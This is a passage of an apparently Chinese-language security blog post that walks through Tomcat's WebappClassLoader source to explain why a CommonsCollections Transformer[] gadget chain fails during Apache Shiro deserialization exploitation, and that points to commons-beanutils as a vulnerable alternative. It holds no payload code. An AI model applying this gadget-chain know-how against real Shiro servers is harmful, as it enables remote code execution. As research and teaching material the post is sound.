log.debug(" Searching local repositories");
}
try {
clazz = findClass(name);
// ...
return clazz;
}
  • 逻辑:调用 findClass(name)。这个方法会去扫描你的 WAR 包里的:
    1. /WEB-INF/classes 目录
    2. /WEB-INF/lib/*.jar 文件
  • 意义这就是 Tomcat “打破双亲委派”的地方!
    • 标准 Java 加载器是“先问爸爸,爸爸没有我再找”。
    • Tomcat 是“先看我自己有没有,我有就直接用”(除非是 JDK 核心类或受保护的包)。

第三阶段:无条件委托给父加载器 (3)

1
2
3
4
5
6
// (3) Delegate to parent unconditionally
if (!delegateLoad) {
// ...
clazz = Class.forName(name, false, parent);
// ...
}
  • 逻辑:如果自己(Web 应用)没找到这个类,那么最后再去求助父加载器(CommonClassLoader)。
  • 场景:比如加载 SQL 驱动、日志门面(SLF4J)或者 Tomcat 提供的共享库(如果是放在 tomcat/lib 下的)。

加载Tranformer数组时

Transformer 类位于 Web 应用的 WEB-INF/lib 下。

当 Shiro 调用 WebappClassLoader.loadClass("...Transformer[]") 时,发生了以下连环惨案:

第 (2) 步:Web 应用自己找

代码:clazz = findClass(name);

  • Web 加载器的逻辑:它会试图去 WEB-INF/classesWEB-INF/lib 里找一个名字叫 ...Transformer[].class[L...Transformer;.class物理文件
  • 结果失败
  • 原因:数组类是 JVM 在内存中动态生成的,硬盘上根本不存在对应的 .class 文件。所以 findClass 必定返回 null 或抛出异常

第 (3) 步:委托给父加载器

代码:clazz = Class.forName(name, false, parent);

  • 动作:Web 加载器说:“我自己找不到文件,爸爸(Common/System ClassLoader),你帮我加载这个数组吧”
  • 父加载器的逻辑:
    1. 父加载器收到请求:加载 Transformer[]
    2. JVM 规定:要创建数组类,必须先加载数组的元素类型(Element Type),也就是 Transformer
    3. 父加载器开始在自己的管辖范围(如 Tomcat/lib 或 JDK/lib)里找 Transformer
  • 结果:失败
  • 致命原因(类可见性):
    • TransformerWEB-INF/lib
    • 父加载器(Common)看不见儿子的 WEB-INF/lib
    • 既然连元素类型 Transformer 都找不到,数组 Transformer[] 自然也就无法创建

但是如果是加载 jdk 自身类的数组,可以直接加载

类加载器 JDK 类 (java.lang.*) Tomcat 类 (org.apache.catalina.*) Web 应用类 (WEB-INF/lib)
Bootstrap (祖父) 看得见 瞎了 瞎了
Common (父亲) 看得见 看得见 瞎了 (关键原因)
Webapp (儿子) 看得见 (委派) 看不见 (被隔离) 看得见

但是但是!!!!

值得注意的是 commons collections 并不是 shiro 自带的依赖,commons BeanUtils 才是,所幸这个依赖也存在反序列化漏洞

image-20260215225722109